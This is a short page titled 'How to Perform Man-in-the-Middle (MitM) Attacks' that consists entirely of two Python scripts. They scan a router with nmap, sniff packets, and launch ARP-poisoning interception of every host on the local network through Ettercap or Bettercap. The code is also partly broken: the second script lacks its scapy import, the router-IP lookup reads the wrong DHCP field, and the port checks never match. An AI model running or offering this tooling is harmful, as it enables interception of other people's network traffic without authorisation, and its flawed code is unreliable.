How to Perform Man-in-the-Middle (MitM) Attacks

Code

from scapy.all import *

import nmap



def get_router_ip():

    # Create an IP packet with a destination of the broadcast address

    packet = IP(dst="255.255.255.255") / UDP(dport=68) / BOOTP() / DHCP(options=[("message-type", "discover"), "end"])



    # Send the packet and receive the response

    response = srp1(packet, timeout=5)



    # Extract the router's IP address from the response

    if response is not None:

        router_ip = response[BOOTP].yiaddr

        return router_ip

    else:

        print("Failed to find the router's IP address.")

        return None



def scan_router(router_ip):

    # Create an instance of the nmap.PortScanner class

    nm = nmap.PortScanner()



    # Scan the router for open ports and vulnerabilities

    nm.scan(router_ip, arguments='-sV -sC')



    # Print the results

    print(f"Scan results for {router_ip}:")

    print(nm.scaninfo())

    print(nm[router_ip].state())

    print(nm[router_ip].all_protocols())

    print(nm[router_ip]['tcp'].keys())



    # Check for common vulnerabilities

    if '23' in nm[router_ip]['tcp']:

        print("Telnet is enabled on the router. This is a security risk.")

    if '22' in nm[router_ip]['tcp']:

        print("SSH is enabled on the router. This is a security risk.")

    if '80' in nm[router_ip]['tcp']:

        print("Web server is running on the router. This may be a security risk.")



def packet_callback(packet):

    # Check if the packet is an IP packet

    if IP in packet:

        # Extract the source and destination IP addresses

        src_ip = packet[IP].src

        dst_ip = packet[IP].dst



        # Print the packet information

        print(f"Source IP: {src_ip}, Destination IP: {dst_ip}")



# Get the router's IP address

router_ip = get_router_ip()



if router_ip is not None:

    # Scan the router for vulnerabilities

    scan_router(router_ip)



    # Set the interface to capture packets on

    interface = "eth0"



    # Capture packets on the specified interface

    sniff(iface=interface, prn=packet_callback, store=0)

else:

    print("Failed to find the router's IP address.")

Code

import os

import subprocess

import nmap



def check_ettercap():

    try:

        subprocess.check_output(['ettercap', '--version'])

        return True

    except:

        return False



def check_bettercap():

    try:

        subprocess.check_output(['bettercap', '-h'])

        return True

    except:

        return False



def get_router_ip():

    # Create an IP packet with a destination of the broadcast address

    packet = IP(dst="255.255.255.255") / UDP(dport=68) / BOOTP() / DHCP(options=[("message-type", "discover"), "end"])



    # Send the packet and receive the response

    response = srp1(packet, timeout=5)



    # Extract the router's IP address from the response

    if response is not None:

        router_ip = response[BOOTP].yiaddr

        return router_ip

    else:

        print("Failed to find the router's IP address.")

        return None



def scan_router(router_ip):

    # Create an instance of the nmap.PortScanner class

    nm = nmap.PortScanner()



    # Scan the router for open ports and vulnerabilities

    nm.scan(router_ip, arguments='-sV -sC')



    # Print the results

    print(f"Scan results for {router_ip}:")

    print(nm.scaninfo())

    print(nm[router_ip].state())

    print(nm[router_ip].all_protocols())

    print(nm[router_ip]['tcp'].keys())



    # Check for common vulnerabilities

    if '23' in nm[router_ip]['tcp']:

        print("Telnet is enabled on the router. This is a security risk.")

    if '22' in nm[router_ip]['tcp']:

        print("SSH is enabled on the router. This is a security risk.")

    if '80' in nm[router_ip]['tcp']:

        print("Web server is running on the router. This may be a security risk.")



def perform_ettercap_attack(router_ip):

    # Run Ettercap command

    subprocess.run(['ettercap', '-G', '-M', f'arp:remote', '-i', 'eth0', '//', '//'])



def perform_bettercap_attack(router_ip):

    # Run Bettercap command

    subprocess.run(['bettercap', '-iface', 'eth0', '-caplet', 'mitm.cap'])



# Check for ettercap and bettercap

has_ettercap = check_ettercap()

has_bettercap = check_bettercap()



if has_ettercap or has_bettercap:

    # Prompt the user to choose between Ettercap and Bettercap

    choice = input("Choose the MiTM tool to use (1 for Ettercap, 2 for Bettercap): ")



    # Get the router's IP address

    router_ip = get_router_ip()



    if router_ip is not None:

        # Scan the router for vulnerabilities

        scan_router(router_ip)



        # Perform the chosen MiTM attack

        if choice == '1' and has_ettercap:

            perform_ettercap_attack(router_ip)

        elif choice == '2' and has_bettercap:

            perform_bettercap_attack(router_ip)

        else:

            print("Invalid choice. Exiting.")

    else:

        print("Failed to find the router's IP address.")

else:

    print("Ettercap and Bettercap are not installed. Please install one of them and try again.")